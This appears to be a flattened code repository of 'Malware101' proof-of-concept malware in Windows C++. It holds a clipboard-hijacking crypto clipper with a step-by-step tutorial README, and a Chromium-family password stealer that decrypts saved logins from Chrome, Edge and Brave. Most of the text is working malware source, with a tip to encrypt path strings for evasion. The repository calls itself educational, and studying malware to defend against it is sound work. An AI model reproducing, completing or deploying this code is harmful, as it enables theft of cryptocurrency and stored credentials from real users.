├── Malware101:CryptoStealer ├── M101CS.cpp └── README.md ├── Malware101:Infostealers ├── ChromeDecrypter.cpp ├── FileIO.h ├── README.md └── common.h └── README.md /Malware101:CryptoStealer/M101CS.cpp: -------------------------------------------------------------------------------- 1 | #define _DEFUG 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void DEBUG_PRINT(CONST CHAR* str) 9 | { 10 | #ifdef _DEBUG 11 | printf("Debug : %s \n", str); 12 | #endif 13 | } 14 | 15 | 16 | CONST CHAR* get_clip_data(HWND hd) 17 | { 18 | 19 | DEBUG_PRINT("get_clip_data function running\n"); 20 | 21 | if (!OpenClipboard(hd)) { // Access to clipboard 22 | 23 | DEBUG_PRINT("Error - Failed to open clipboard\n"); 24 | return NULL; 25 | } 26 | 27 | if (!IsClipboardFormatAvailable(CF_TEXT)) // Checking for text format only 28 | { 29 | DEBUG_PRINT("Data in clipboard is not CF_TEXT"); 30 | CloseClipboard(); 31 | return NULL; 32 | } 33 | 34 | HANDLE MemBlock = GetClipboardData(CF_TEXT); // get data from the clipboard in text format 35 | if (MemBlock == NULL) { 36 | DEBUG_PRINT("Error - Get clipboard data failed \n"); 37 | CloseClipboard(); 38 | return NULL; 39 | } 40 | 41 | CHAR* Data = static_cast(GlobalLock(MemBlock)); // Casting Handle clipboard object to char* to access the data 42 | 43 | if (Data == NULL){ 44 | DEBUG_PRINT("Error - Data is empty.... \n"); 45 | CloseClipboard(); 46 | return NULL; 47 | } 48 | //GlobalUnlock(MemBlock); 49 | CloseClipboard(); 50 | return Data; 51 | } 52 | 53 | 54 | 55 | BOOL set_clip_data(CONST CHAR* data, HWND handle) 56 | { 57 | 58 | DEBUG_PRINT("set clip data function funning.\n"); 59 | 60 | if (!OpenClipboard(handle)) { 61 | DEBUG_PRINT("Error - opening clipboard failed.\n"); 62 | return false; 63 | } 64 | 65 | if (!EmptyClipboard()) { 66 | DEBUG_PRINT("Error - empty clipboard function failed.\n"); 67 | CloseClipboard(); 68 | return false; 69 | } 70 | 71 | HGLOBAL MemBlock = GlobalAlloc(GMEM_MOVEABLE, (strlen(data) + 1)); 72 | if (MemBlock == NULL) { 73 | DEBUG_PRINT("Error - GloableAlloc Failed\n"); 74 | CloseClipboard(); 75 | return false; 76 | } 77 | 78 | 79 | memcpy(GlobalLock(MemBlock), data, (strlen(data) + 1)); 80 | GlobalUnlock(MemBlock); 81 | 82 | DEBUG_PRINT("set data to clipboard\n"); 83 | if (SetClipboardData(CF_TEXT, MemBlock) == NULL) { 84 | CloseClipboard(); 85 | return false; 86 | } 87 | 88 | CloseClipboard(); 89 | return true; 90 | } 91 | 92 | 93 | bool crypto_check(CONST CHAR* addr_search, CONST CHAR* addr_pattern) 94 | { 95 | std::regex pattern(addr_pattern); 96 | if (std::regex_match(addr_search, pattern)) { 97 | return true; 98 | } 99 | return false; 100 | } 101 | 102 | 103 | 104 | void crypto_swap(CONST CHAR* addr_search, HWND handle) { 105 | 106 | const int size = 2; 107 | CONST CHAR* ATTACKER_ADDR[size] = 108 | { 109 | "SWAPPED_WITH_ATTACKER_BTC_ADDRESS", 110 | "SWAPPED_WITH_ATTACKER_ETH_ADDRESS" 111 | }; 112 | 113 | CONST CHAR* PATTERN_ADDR[size] = 114 | { 115 | 116 | "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$", 117 | "^0x[a-fA-F0-9]{40}" 118 | }; 119 | 120 | for (size_t i = 0; i < size; i++) 121 | { 122 | if (crypto_check(addr_search, PATTERN_ADDR[i])) 123 | { 124 | set_clip_data(ATTACKER_ADDR[i], handle); 125 | } 126 | } 127 | } 128 | 129 | LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) 130 | { 131 | LRESULT result = 0; 132 | switch (uMsg) 133 | { 134 | case WM_CREATE: 135 | { 136 | ShowWindow(GetConsoleWindow(), SW_SHOW); 137 | AddClipboardFormatListener(hwnd); 138 | break; 139 | } 140 | 141 | case WM_CLIPBOARDUPDATE: 142 | { 143 | const char* data = get_clip_data(hwnd); 144 | printf("[+] Data changed : %s\n", data); 145 | crypto_swap(data, hwnd); 146 | break; 147 | } 148 | 149 | case WM_DESTROY: 150 | { 151 | RemoveClipboardFormatListener(hwnd); 152 | break; 153 | } 154 | 155 | default: 156 | { 157 | result = DefWindowProc(hwnd, uMsg, wParam, lParam); 158 | break; 159 | } 160 | 161 | } 162 | return (result); 163 | } 164 | 165 | WNDCLASSEX windProperties(const wchar_t* name) { 166 | HWND wind = NULL; 167 | WNDCLASSEX wc = { 0 }; 168 | wc.cbSize = sizeof(WNDCLASSEX); 169 | wc.lpfnWndProc = WindowProc; 170 | wc.hInstance = GetModuleHandle(NULL); 171 | wc.lpszClassName = name; 172 | 173 | return wc; 174 | } 175 | 176 | 177 | void run_message_loop() 178 | { 179 | const wchar_t* className = L"Test"; 180 | HWND hWindow = NULL; 181 | 182 | WNDCLASSEX wx = windProperties(className); 183 | RegisterClassEx(&wx); 184 | 185 | hWindow = CreateWindowEx( 186 | 0, 187 | className, 188 | L"ClipboardListener", 189 | 0, 0, 0, 0, 0, 190 | HWND_MESSAGE, 191 | NULL, NULL, NULL); 192 | 193 | 194 | // Main msg loop 195 | MSG msg = { 0 }; 196 | while (GetMessage(&msg, NULL, 0, 0)) { 197 | TranslateMessage(&msg); 198 | DispatchMessage(&msg); 199 | } 200 | } 201 | int main() 202 | { 203 | run_message_loop(); 204 | return 0; 205 | } 206 | -------------------------------------------------------------------------------- /Malware101:CryptoStealer/README.md: -------------------------------------------------------------------------------- 1 | ## What is a Crypto Stealer ? 2 | 3 | Crypto stealer malware is a type of malicious software that is designed to steal cryptocurrencies from the victim's wallet or account. Once installed these malwares often operate by monitoring the device for cryptocurrency-related activity. When the victim attempts to access their wallet or account in anyway, the malware captures their login credentials and sends them to the attacker. 4 | 5 | ## In this post we will be focusing on Crypto Clippers which can be classfied under the Crypto Stealers family. 6 | 7 | Crypto clipper malwares are a type of malicious software that targets cryptocurrencies. These malwares typically operate by replacing a user's cryptocurrency address with the attacker's own address when the user attempts to make a transaction. This allows the attacker to redirect the funds from the intended recipient to their own wallet. 8 | 9 | Crypto clipper malwares often operate by injecting/monitoring the user's clipboard, which is used to store temporary data such as text or images that have been copied. When the user attempts to paste the address of the intended recipient into the cryptocurrency wallet software, the malware replaces the address with the attacker's own address before it is pasted. 10 | 11 | This type of malware is interesting because it is simple yet capable of causing significant damage. In some cases, malware clippers only have the ability to monitor input and alter the clipboard, which looks harmless and unlikely to raise any alarms. 12 | 13 | In this post I will be going over basic design and implementation details of a simple clipper malware. We will be working on a windows environment with C++. We will also be utilizing some winapi functions, the heart of this malware is all about monitoring and changing clipboard data with the winapi. 14 | 15 | 16 | ## Design requirements 17 | 18 | ##### Windows offers various functions of interest that will make our jobs easier to build this. We will be using the following functions from the winapi 19 | 20 | - OpenClipboard() to get access to the clipboard. 21 | - IsClipboardFormatAvailable() to examin the content of the clipboard. Keep in mind that things like emojis and images can be copied so we dont want to get whatever data there is we are only interested in text data. 22 | - GetClipboardData() to get the actual text data. 23 | - CloseClipboard() and GlobalLock() to free data and unlock resources. 24 | 25 | 26 | ##### These are all the functions we will be using from the winapi except for a few cleanup functions I didn't include in the list we will discuss them later in the Implementation section. 27 | 28 | #### The function we will need to implement ourselves are fairly simple. 29 | 30 | - crypto_check(CONST CHAR* address, CONST CHAR* regex_pattern) a function to check the given data against a regex pattern for a crypto address. 31 | 32 | This should be all for the basic barebone implementation of this malware. I won't be adding any anti-reversing/vm checks or evasion techniques, I will have write ups for those topics soon. For now I'm going to try and keep this one very short. 33 | 34 | ## Implementation 35 | 36 | 37 | ### Part 1 38 | ##### First steps is to implement get_clip_data(HWND handle) function. The HWND(window handle) will be used later for now we can just set it to NULL whenever we call the function. 39 | 40 | ```Cpp 41 | CONST CHAR* get_clip_data(HWND hd) 42 | { 43 | 44 | DEBUG_PRINT("get_clip_data function running\n"); 45 | 46 | if (!OpenClipboard(hd)) { // Access to clipboard 47 | 48 | DEBUG_PRINT("Error - Failed to open clipboard\n"); 49 | return NULL; 50 | } 51 | 52 | if (!IsClipboardFormatAvailable(CF_TEXT)) // Checking for text format only 53 | { 54 | DEBUG_PRINT("Data in clipboard is not CF_TEXT"); 55 | CloseClipboard(); 56 | return NULL; 57 | } 58 | 59 | HANDLE MemBlock = GetClipboardData(CF_TEXT); // get data from the clipboard in text format 60 | if (MemBlock == NULL) { 61 | DEBUG_PRINT("Error - Get clipboard data failed \n"); 62 | CloseClipboard(); 63 | return NULL; 64 | } 65 | 66 | CHAR* Data = static_cast(GlobalLock(MemBlock)); // Casting Handle clipboard object to char* to access the data 67 | 68 | if (Data == NULL){ 69 | DEBUG_PRINT("Error - Data is empty.... \n"); 70 | CloseClipboard(); 71 | return NULL; 72 | } 73 | //GlobalUnlock(MemBlock); 74 | CloseClipboard(); 75 | return Data; 76 | } 77 | ``` 78 | 79 | ##### set_clip_data(CONST CHAR* data, HWND handle) 80 | 81 | ```Cpp 82 | 83 | BOOL set_clip_data(CONST CHAR* data, HWND handle) 84 | { 85 | 86 | DEBUG_PRINT("set clip data function funning.\n"); 87 | 88 | if (!OpenClipboard(handle)) { 89 | DEBUG_PRINT("Error - opening clipboard failed.\n"); 90 | return false; 91 | } 92 | 93 | if (!EmptyClipboard()) { 94 | DEBUG_PRINT("Error - empty clipboard function failed.\n"); 95 | CloseClipboard(); 96 | return false; 97 | } 98 | 99 | HGLOBAL MemBlock = GlobalAlloc(GMEM_MOVEABLE, (strlen(data) + 1)); 100 | if (MemBlock == NULL) { 101 | DEBUG_PRINT("Error - GloableAlloc Failed\n"); 102 | CloseClipboard(); 103 | return false; 104 | } 105 | 106 | 107 | memcpy(GlobalLock(MemBlock), data, (strlen(data) + 1)); 108 | GlobalUnlock(MemBlock); 109 | 110 | DEBUG_PRINT("set data to clipboard\n"); 111 | if (SetClipboardData(CF_TEXT, MemBlock) == NULL) { 112 | CloseClipboard(); 113 | return false; 114 | } 115 | 116 | CloseClipboard(); 117 | return true; 118 | } 119 | ``` 120 | 121 | ##### What is this GlobalAllock/Lock/Unlock stuff ? A quick summary about this, windows has a Global memory "region" where programs can read and write and share resources. What is an example of this ? clipboard! this is why we can copy and paste data between all different apps running on windows. More [GLobal Memory][2] 122 | 123 | #### Lets test what we have 124 | 125 | ![clip](https://user-images.githubusercontent.com/120695832/210182229-2f181649-f62e-445e-912a-59e01a2f6a4f.gif) 126 | 127 | 128 | #### It seems like everything is working. In part two, we will implement the message handler and crypto checker function. This will allow us to monitor clipboard activity and implement the malicious part of this software. 129 | 130 | #### Now, using the following functions, we can actually start getting the desired data from the clipboard, but it's useless because we don't know when the user is using the clipboard. We would also need to run an infinite loop every couple of seconds, hoping we capture the crypto address we want. This is bad for performance and would probably not work in the real world, so we need to find a better solution. Thankfully, Windows has a [WM_CLIPBOARDUPDATE][1] message, which is sent whenever the clipboard is updated. We will need to listen to those messages when we subscribe to those messages with the AddClipboardFormatListener() function. 131 | 132 | ### Part 2 133 | 134 | ##### In order to be notified of clipboard updates, we can use the `WM_CLIPBOARDUPDATE` message. We previously developed functions to retrieve and set clipboard data. Now, we just need to subscribe to the `WM_CLIPBOARDUPDATE` message in order to be notified whenever the clipboard is updated. 135 | 136 | ##### Let's start with the WindowProc (window procedure) function. A WindowProc function is a callback function that processes messages sent to a window. We define it in our application to handle messages sent to our window. 137 | 138 | 139 | ```cpp 140 | LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) 141 | { 142 | LRESULT result = 0; 143 | switch (uMsg) 144 | { 145 | case WM_CREATE: 146 | { 147 | ShowWindow(GetConsoleWindow(), SW_SHOW); // show the console for testing purposes 148 | AddClipboardFormatListener(hwnd); // registers our window to receive clipboard change notifications. 149 | break; 150 | } 151 | 152 | case WM_CLIPBOARDUPDATE: // heres the message we want 153 | { 154 | printf("[+] Data changed : %s\n", get_clip_data(hwnd)); // Now we can get the data we want whenever a change happens. 155 | break; 156 | } 157 | 158 | case WM_DESTROY: 159 | { 160 | RemoveClipboardFormatListener(hwnd); 161 | break; 162 | } 163 | 164 | default: 165 | { 166 | result = DefWindowProc(hwnd, uMsg, wParam, lParam); 167 | break; 168 | } 169 | 170 | } 171 | return (result); 172 | } 173 | ``` 174 | 175 | ##### There is a lot to windProc and how it works. For now think about this as a way for our software to receive and handle messages from the operating system or other applications. I recommend reading more about it in the offical docs and if your a beginner start here [WindProc][3] 176 | 177 | ##### Lets create our window 178 | 179 | ```cpp 180 | WNDCLASSEX windProperties(const wchar_t* name) { 181 | HWND wind = NULL; 182 | WNDCLASSEX wc = { 0 }; 183 | wc.cbSize = sizeof(WNDCLASSEX); 184 | wc.lpfnWndProc = WindowProc; 185 | wc.hInstance = GetModuleHandle(NULL); 186 | wc.lpszClassName = name; 187 | 188 | return wc; 189 | } 190 | 191 | // for our get/dispatchMessage loop 192 | 193 | void run_message_loop() 194 | { 195 | const wchar_t* className = L"Test"; 196 | HWND hWindow = NULL; 197 | 198 | WNDCLASSEX wx = windProperties(className); 199 | RegisterClassEx(&wx); 200 | 201 | hWindow = CreateWindowEx( 202 | 0, 203 | className, 204 | L"ClipboardListener", 205 | 0, 0, 0, 0, 0, 206 | HWND_MESSAGE, 207 | NULL, NULL, NULL); 208 | 209 | 210 | // Main msg loop 211 | MSG msg = { 0 }; 212 | while (GetMessage(&msg, NULL, 0, 0)) { 213 | TranslateMessage(&msg); 214 | DispatchMessage(&msg); 215 | } 216 | } 217 | 218 | ``` 219 | ##### This message loop/winproc is basic procedure when working with windows(guis) and messages and this article from Microsoft does a good job at explaining it. [Creating-Windows][4] 220 | 221 | ##### But here is a quick summary on how this whole process works. 222 | 223 | - The window procedure is a callback function that processes messages sent to a window. 224 | - The message loop is a loop that retrieves and dispatches messages. It is used to keep the application running and responsive to user input and other events. 225 | - When a message is sent to a window, the window procedure is called with the handle to the window, the message identifier, and any additional parameters related to the message. 226 | - The window procedure processes the message and returns a result. 227 | - The message loop retrieves messages from the message queue and dispatches them to the appropriate window procedure for processing. 228 | - The message loop runs continuously until the application is closed or the loop is terminated. 229 | 230 | So a quick summary of this, the window procedure is a way for your application to receive and handle messages, and the message loop is a way for the application to keep running and respond to those messages. 231 | 232 | #### Now with that out the way lets put everything togather and try this 233 | 234 | ![clip2](https://user-images.githubusercontent.com/120695832/210184599-a50126d0-5164-4cc6-b018-46f7099ed50d.gif) 235 | 236 | 237 | #### Everything seems to work. Now to our final step adding the crypto checker function. We will be using regex to match address patterns. 238 | 239 | ```cpp 240 | bool crypto_check(CONST CHAR* addr_search, CONST CHAR* addr_pattern) 241 | { 242 | std::regex pattern(addr_pattern); 243 | if (std::regex_match(addr_search, pattern)) { 244 | return true; 245 | } 246 | return false; 247 | } 248 | 249 | void crypto_swap(CONST CHAR* addr_search, HWND handle) { 250 | 251 | const int size = 2; 252 | CONST CHAR* ATTACKER_ADDR[size] = 253 | { 254 | "SWAPPED_WITH_ATTACKER_BTC_ADDRESS", 255 | "SWAPPED_WITH_ATTACKER_ETH_ADDRESS" 256 | }; 257 | 258 | CONST CHAR* PATTERN_ADDR[size] = 259 | { 260 | 261 | "^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$", 262 | "^0x[a-fA-F0-9]{40}" 263 | }; 264 | 265 | for (size_t i = 0; i < size; i++) 266 | { 267 | if (crypto_check(addr_search, PATTERN_ADDR[i])) 268 | { 269 | set_clip_data(ATTACKER_ADDR[i], handle); 270 | } 271 | } 272 | } 273 | ``` 274 | #### There are two new functions. The `crypto_check()` function checks a given string for an address pattern. If the regex match is true, we return true. 275 | #### For `crypto_swap`, we simply check the given data against a list of patterns. If anything matches, we swap the clipboard data with the matching index from the ATTACKER_ADDR array. 276 | 277 | ## Here is the final product 278 | 279 | ![clipf](https://user-images.githubusercontent.com/120695832/210186664-854875a0-b1f9-49fb-9de6-b6b88d05fd0b.gif) 280 | 281 | #### As you see whenever the data is detected to be some kind of crypto address the original address is swapped with the attackers address. Very simple but was very effective a couple years ago. 282 | 283 | #### It was fun writing this, this was a simple PoC implementaion of the main idea there's still lots of featuers to make this an actual functioning malware. 284 | 285 | ## What's next ? 286 | ##### In the next Malware101 series, I would like to cover browsers information-stealing malwares. Raccoon malware is a popular example. I'd like to talk about and implement some of the features these malwares ship with, such as password stealing from browsers. 287 | 288 | [1]: https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-clipboardupdate "WM_CLIPBOARDUPDATE" 289 | [2]: https://learn.microsoft.com/en-us/windows/win32/memory/memory-management-functions "GLobal Memory" 290 | [3]: http://www.winprog.org/tutorial/window_click.html 291 | [4]: https://learn.microsoft.com/en-us/cpp/windows/walkthrough-creating-windows-desktop-applications-cpp?view=msvc-170 292 | -------------------------------------------------------------------------------- /Malware101:Infostealers/ChromeDecrypter.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "FileIO.h" 3 | 4 | 5 | DATA_BLOB* UnportectMasterKey(std::string MasterString) 6 | { 7 | // Base64 decode the key 8 | std::string base64Key = MasterString; 9 | std::vector binaryKey; 10 | DWORD binaryKeySize = 0; 11 | 12 | if (!CryptStringToBinaryA(base64Key.c_str(), 0, CRYPT_STRING_BASE64, NULL, &binaryKeySize, NULL, NULL)) 13 | { 14 | std::cout << "[1] CryptStringToBinaryA Failed to convert BASE64 private key. \n"; 15 | return nullptr; 16 | } 17 | 18 | binaryKey.resize(binaryKeySize); 19 | if (!CryptStringToBinaryA(base64Key.c_str(), 0, CRYPT_STRING_BASE64, binaryKey.data(), &binaryKeySize, NULL, NULL)) 20 | { 21 | std::cout << "[2] CryptStringToBinaryA Failed to convert BASE64 private key. \n"; 22 | return nullptr; 23 | } 24 | 25 | // Decrypt the key 26 | DATA_BLOB in, out; 27 | in.pbData = binaryKey.data() + 5; 28 | in.cbData = binaryKeySize - 5; 29 | 30 | if (!CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)) 31 | { 32 | std::cout << "Failed to unprotect master key.\n"; 33 | return nullptr; 34 | } 35 | 36 | // Allocate memory for the output DATA_BLOB pointer and return it 37 | 38 | DATA_BLOB* outPtr = new DATA_BLOB; 39 | outPtr->pbData = out.pbData; 40 | outPtr->cbData = out.cbData; 41 | return outPtr; 42 | } 43 | 44 | std::string ParseMasterString(std::string data) 45 | { 46 | std::string secret_key; 47 | size_t idx = data.find("encrypted_key") + 16; 48 | while (idx < data.length() && data[idx] != '\"') 49 | { 50 | secret_key.push_back(data[idx]); 51 | idx++; 52 | } 53 | 54 | return secret_key; 55 | } 56 | 57 | 58 | DATA_BLOB* GetMasterKey(BROWSER browser) 59 | { 60 | std::string localState = FileIO::GetLocalState(browser); 61 | std::string localStateData = FileIO::ReadFileToString(localState); 62 | std::string MasterString = ParseMasterString(localStateData); 63 | 64 | return UnportectMasterKey(MasterString); 65 | } 66 | 67 | 68 | std::string AESDecrypter(std::string EncryptedBlob, DATA_BLOB MasterKey) 69 | { 70 | BCRYPT_ALG_HANDLE hAlgorithm = 0; 71 | BCRYPT_KEY_HANDLE hKey = 0; 72 | NTSTATUS status = 0; 73 | SIZE_T EncryptedBlobSize = EncryptedBlob.length(); 74 | SIZE_T TagOffset = EncryptedBlobSize - 15; 75 | ULONG PlainTextSize = 0; 76 | 77 | std::vector CipherPass(EncryptedBlobSize); 78 | std::vector PlainText; 79 | std::vector IV(IV_SIZE); 80 | 81 | // Parse iv and password from the buffer using std::copy 82 | std::copy(EncryptedBlob.data() + 3, EncryptedBlob.data() + 3 + IV_SIZE, IV.begin()); 83 | std::copy(EncryptedBlob.data() + 15, EncryptedBlob.data() + EncryptedBlobSize, CipherPass.begin()); 84 | 85 | // Open algorithm provider for decryption 86 | status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0); 87 | if (!BCRYPT_SUCCESS(status)) 88 | { 89 | std::cout << "BCryptOpenAlgorithmProvider failed with status: " << status << std::endl; 90 | return ""; 91 | } 92 | 93 | // Set chaining mode for decryption 94 | status = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (UCHAR*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0); 95 | if (!BCRYPT_SUCCESS(status)) 96 | { 97 | std::cout << "BCryptSetProperty failed with status: " << status << std::endl; 98 | BCryptCloseAlgorithmProvider(hAlgorithm, 0); 99 | return ""; 100 | } 101 | 102 | // Generate symmetric key 103 | status = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, NULL, 0, MasterKey.pbData, MasterKey.cbData, 0); 104 | if (!BCRYPT_SUCCESS(status)) 105 | { 106 | std::cout << "BcryptGenertaeSymmetricKey failed with status: " << status << std::endl; 107 | BCryptCloseAlgorithmProvider(hAlgorithm, 0); 108 | return ""; 109 | } 110 | 111 | // Auth cipher mode info 112 | BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO AuthInfo; 113 | BCRYPT_INIT_AUTH_MODE_INFO(AuthInfo); 114 | TagOffset = TagOffset - 16; 115 | AuthInfo.pbNonce = IV.data(); 116 | AuthInfo.cbNonce = IV_SIZE; 117 | AuthInfo.pbTag = CipherPass.data() + TagOffset; 118 | AuthInfo.cbTag = TAG_SIZE; 119 | 120 | // Get size of plaintext buffer 121 | status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, NULL, NULL, &PlainTextSize, 0); 122 | if (!BCRYPT_SUCCESS(status)) 123 | { 124 | std::cout << "BCryptDecrypt (1) failed with status: " << status << std::endl; 125 | return ""; 126 | } 127 | 128 | // Allocate memory for the plaintext 129 | PlainText.resize(PlainTextSize); 130 | 131 | status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, PlainText.data(), PlainTextSize, &PlainTextSize, 0); 132 | if (!BCRYPT_SUCCESS(status)) 133 | { 134 | std::cout << "BCrypt Decrypt (2) failed with status: " << status << std::endl; 135 | return ""; 136 | } 137 | 138 | // Close the algorithm handle 139 | BCryptCloseAlgorithmProvider(hAlgorithm, 0); 140 | 141 | return std::string(PlainText.begin(), PlainText.end()); 142 | } 143 | 144 | void DecryptPasswordFor(BROWSER browser) 145 | { 146 | std::string DbPath = FileIO::GetDbPath(browser); 147 | DATA_BLOB* MasterKey = GetMasterKey(browser); 148 | 149 | sqlite3* db = nullptr; 150 | std::string selectQuery = "SELECT origin_url, action_url, username_value, password_value FROM logins"; 151 | sqlite3_stmt* selectStmt = nullptr; 152 | 153 | 154 | // Open the database file 155 | if (sqlite3_open(DbPath.c_str(), &db) != SQLITE_OK) { 156 | std::cerr << "Failed to open database file: " << sqlite3_errmsg(db) << std::endl; 157 | return; 158 | } 159 | 160 | // Prepare the SELECT statement 161 | if (sqlite3_prepare_v2(db, selectQuery.c_str(), -1, &selectStmt, 0) != SQLITE_OK) { 162 | std::cerr << "Failed to prepare SELECT statement: " << sqlite3_errmsg(db) << std::endl; 163 | return; 164 | } 165 | // Iterate over the rows of the logins table 166 | while (sqlite3_step(selectStmt) == SQLITE_ROW) { 167 | // Extract the values of the columns 168 | const char* website = reinterpret_cast(sqlite3_column_text(selectStmt, 0)); 169 | const char* loginUrl = reinterpret_cast(sqlite3_column_text(selectStmt, 1)); 170 | const char* userName = reinterpret_cast(sqlite3_column_text(selectStmt, 2)); 171 | const char* passwordBlob = reinterpret_cast(sqlite3_column_blob(selectStmt, 3)); 172 | int passwordBlobSize = sqlite3_column_bytes(selectStmt, 3); 173 | 174 | if (passwordBlobSize > 0) { 175 | // Decrypt the password 176 | std::string pass = AESDecrypter(passwordBlob, *MasterKey); 177 | // Print the login information 178 | std::cout << "Website: " << website << std::endl; 179 | std::cout << "Login URL: " << loginUrl << std::endl; 180 | std::cout << "User name: " << userName << std::endl; 181 | std::cout << "Password: " << pass << std::endl; 182 | } 183 | else { 184 | // Print a message if the password is empty 185 | std::cout << "No password found for this login" << std::endl; 186 | } 187 | } 188 | 189 | delete MasterKey; 190 | } 191 | 192 | 193 | int main() { 194 | 195 | 196 | std::cout << "CHROME\n\n"; 197 | DecryptPasswordFor(CHROME); 198 | std::cout << "\n\nBRAVE\n\n"; 199 | DecryptPasswordFor(BRAVE); 200 | std::cout << "\n\nEDGE\n\n"; 201 | DecryptPasswordFor(EDGE); 202 | 203 | return 0; 204 | } 205 | -------------------------------------------------------------------------------- /Malware101:Infostealers/FileIO.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | namespace FileIO 5 | { 6 | 7 | 8 | inline std::string GetAppPath() 9 | { 10 | CHAR app_data_path[MAX_PATH]; 11 | if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, app_data_path) == S_OK) 12 | { 13 | std::string local_state_path(app_data_path); 14 | return local_state_path; 15 | } 16 | return ""; 17 | } 18 | 19 | 20 | inline std::string GetDbPath(BROWSER browser) { 21 | return GetAppPath() + ACCOUNT_DB_PATHS[browser]; 22 | } 23 | 24 | inline std::string GetLocalState(BROWSER browser) 25 | { 26 | return GetAppPath() + LOCAL_STATE_PATHS[browser]; 27 | } 28 | 29 | inline std::string ReadFileToString(const std::string& file_path) 30 | { 31 | // Open the file 32 | HANDLE file_handle = CreateFileA(file_path.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 33 | if (file_handle == INVALID_HANDLE_VALUE) 34 | { 35 | // Failed to open the file, return an empty string 36 | return ""; 37 | } 38 | 39 | // Get the file size 40 | DWORD file_size = GetFileSize(file_handle, NULL); 41 | if (file_size == INVALID_FILE_SIZE) 42 | { 43 | // Failed to get the file size, close the file handle and return an empty string 44 | CloseHandle(file_handle); 45 | return ""; 46 | } 47 | 48 | // Allocate a buffer for the file data 49 | std::string file_data; 50 | file_data.resize(file_size); 51 | 52 | // Read the file data into the buffer 53 | DWORD bytes_read; 54 | BOOL result = ReadFile(file_handle, &file_data[0], file_size, &bytes_read, NULL); 55 | CloseHandle(file_handle); 56 | if (!result || bytes_read != file_size) 57 | { 58 | // Failed to read the file data, return an empty string 59 | return ""; 60 | } 61 | 62 | // Return the file data as a std::string 63 | return file_data; 64 | } 65 | 66 | 67 | 68 | } -------------------------------------------------------------------------------- /Malware101:Infostealers/README.md: -------------------------------------------------------------------------------- 1 | 2 | Write up : https://0x00sec.org/t/malware-development-1-password-stealers-chromium/33571 3 | -------------------------------------------------------------------------------- /Malware101:Infostealers/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #pragma comment(lib,"winsqlite3.lib") 10 | #pragma comment(lib, "Bcrypt.lib") 11 | #pragma comment(lib, "Crypt32.lib") 12 | 13 | 14 | 15 | const int IV_SIZE = 12; 16 | const int TAG_SIZE = 16; 17 | 18 | const int NUMBER_OF_BROWSERS = 3; 19 | 20 | enum BROWSER 21 | { 22 | CHROME, EDGE, BRAVE // Browsers list, index is important here for the lookup table 23 | }; 24 | 25 | 26 | const std::string LOCAL_STATE_PATHS[NUMBER_OF_BROWSERS] = 27 | { 28 | "\\Google\\Chrome\\User Data\\Local State", 29 | "\\Microsoft\\Edge\\User Data\\Local State", 30 | "\\BraveSoftware\\Brave-Browser\\User Data\\Local State" 31 | // You might wanna encrypt these 32 | }; 33 | 34 | 35 | const std::string ACCOUNT_DB_PATHS[NUMBER_OF_BROWSERS] = 36 | { 37 | "\\Google\\Chrome\\User Data\\Default\\Login Data", 38 | "\\Microsoft\\Edge\\User Data\\Default\\Login Data", 39 | "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data" 40 | }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malware-Development 2 | Write ups and proof of concepts of design and implementaion of malwares. 3 | 4 | 5 | # Notice 6 | This repository contains proof of concept malware design and implementation for educational purposes only. 7 | --------------------------------------------------------------------------------